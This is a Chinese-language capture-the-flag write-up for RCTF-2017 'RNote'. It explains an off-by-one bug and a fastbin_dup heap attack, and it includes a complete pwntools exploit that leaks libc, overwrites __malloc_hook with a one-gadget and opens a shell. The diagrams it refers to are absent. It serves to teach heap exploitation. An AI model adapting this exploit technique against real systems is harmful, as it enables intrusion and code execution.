RCTF-2017: RNote
【原理】
off-by-one, fastbin_dup
【目的】
了解基础堆知识,懂得堆溢出漏洞的利用
【环境】
Linux
【工具】
gdb(装有peda),IDA,python,pwntools
【步骤】
首先查看代码逻辑:
进入add_onte查看:
通过观察能够知道,这个note应该是一个结构体,然后有一个数组notes[15]专门存放数据
struct note {
int IsUsed; :4
int size; :4
char title[0x10]; :16
char *content; :8
};
接下来,我们发现在下方的read处读取数据,然而我们知道,read是不会给字符串的结尾增加数据的,所以我们可以通过这个地方实现堆上敏感数据的泄露。
首先我们了解一下堆,堆在申请fastbin大小的数据的时候,在free之后不会被回收,而是等待下一次分配,所以我们可以如此构造堆结构:
上述情况可以通过【申请1】 –> 【申请2】 –> 【释放2】 –> 【释放1】 来触发。接下来,我们如果再次申请一个空间,那么此时便便会得到1的位置的数据,此时1中数据段开始的位置中,【记录了堆的位置】,那么我们就能通过这个位置的数据泄露出堆的位置。
接下来我们可以泄露libc的地址。通过申请一个small bin,然后将其删除的话,那么此时就会形成一个双向指针,这个指针指向的是main_arena的位置,所以我们能够利用这一点,找到实际上libc的起始位置.
然后我们能够从libc中找到一个可以getshell的必要函数的位置:
信息泄露就做的差不多了,之后我们要开始劫持程序流:
我们在add_note处能发现一个漏洞:
这里会读入一个字符,读入的字符会覆盖掉堆地址的最后一位,从而使堆的指针位置发生错位。
原先的指针指向的位置
此后发生的偏移。
我们可以利用这一点,让两个堆的地址指向同一个位置,这样的话,当我们首先申请三个块,再依次释放的话,会发生如下的事情:
首先我们有三个块。我们通过上述漏洞,构造如下形式。由于第三个块丢失了指针,这里暂时不画出来
然后我们此时删除第一个块,此时指针之间没有变化。
然后我们删除第二个块,此时指针变化如下:
这里可以看到,这个块指向了上一个块的起始位置。
然后当我们删除第三个块的时候,变化如下:
由于此时fastbin认为当前块未释放,于是直接将当前的fastbin的指针指向了上一个空闲块的位置上。
于是此时我们此时可以利用这个fastbin_dup攻击的方式,通过修改链表尾端指向的地址,让我们得到_malloc_hook的地址.
此后第一次malloc,我们获得如下块:
此时我们在fd的位置修改成如下地址,第二次分配后变成如下:
第三次分配后,我们就能够让fastbin指向fd的指针指向malloc_hook的位置:
再下一次malloc我们就能够得到malloc_hook的指针,在我们第四次得到数据后,我们只需要往里面写入我们之前准备好的攻击数据即可。
代码如下:
from pwn import *
s = process('./RNote')
def add(size, title, content):
s.recvuntil(': ')
s.sendline('1')
s.recvuntil(': ')
s.sendline(size)
s.recvuntil(': ')
s.sendline(title)
s.recvuntil(': ')
s.send(content)
def delete(index):
s.recvuntil(': ')
s.sendline('2')
s.recvuntil(': ')
s.sendline(index)
def show(index):
s.recvuntil(': ')
s.sendline('3')
s.recvuntil(': ')
s.sendline(index)
add('200','A','A')
add('200','A','A')
delete('0')
add('200','A','A')
show('0')
s.recvuntil('note content: A')
libc_base = u64(s.recv(16)[7:15])-104-0x3c1740
malloc_hook = libc_base + 0x3C1740
0x3fd4f
oneshot = libc_base + 0xE8FE1
log.info("LIBC BASE : " + hex(libc_base))
log.info("MALLOC HOOK : " + hex(malloc_hook))
delete('0')
delete('1')
add('96','A','A')
add('96','A','A')
add('96','A' * 16 +'\x10' ,'A')
delete('0')
delete('1')
delete('2')
add('96','A',p64(malloc_hook-0x1b-0x8))
add('96','A','A')
add('96','A',p64(malloc_hook-0x1b-0x8))
add('96','A','A' * 19 + p64(oneshot))
s.recvuntil('Your choice:')
s.sendline('1')
s.recvuntil('Please input the note size:')
s.sendline('1')
s.success('GOT SHELL!')
s.interactive()
【总结】
堆的错误比较隐晦,而且利用起来也有一定的难度,需要对glibc中malloc的代码有一定的了解程度。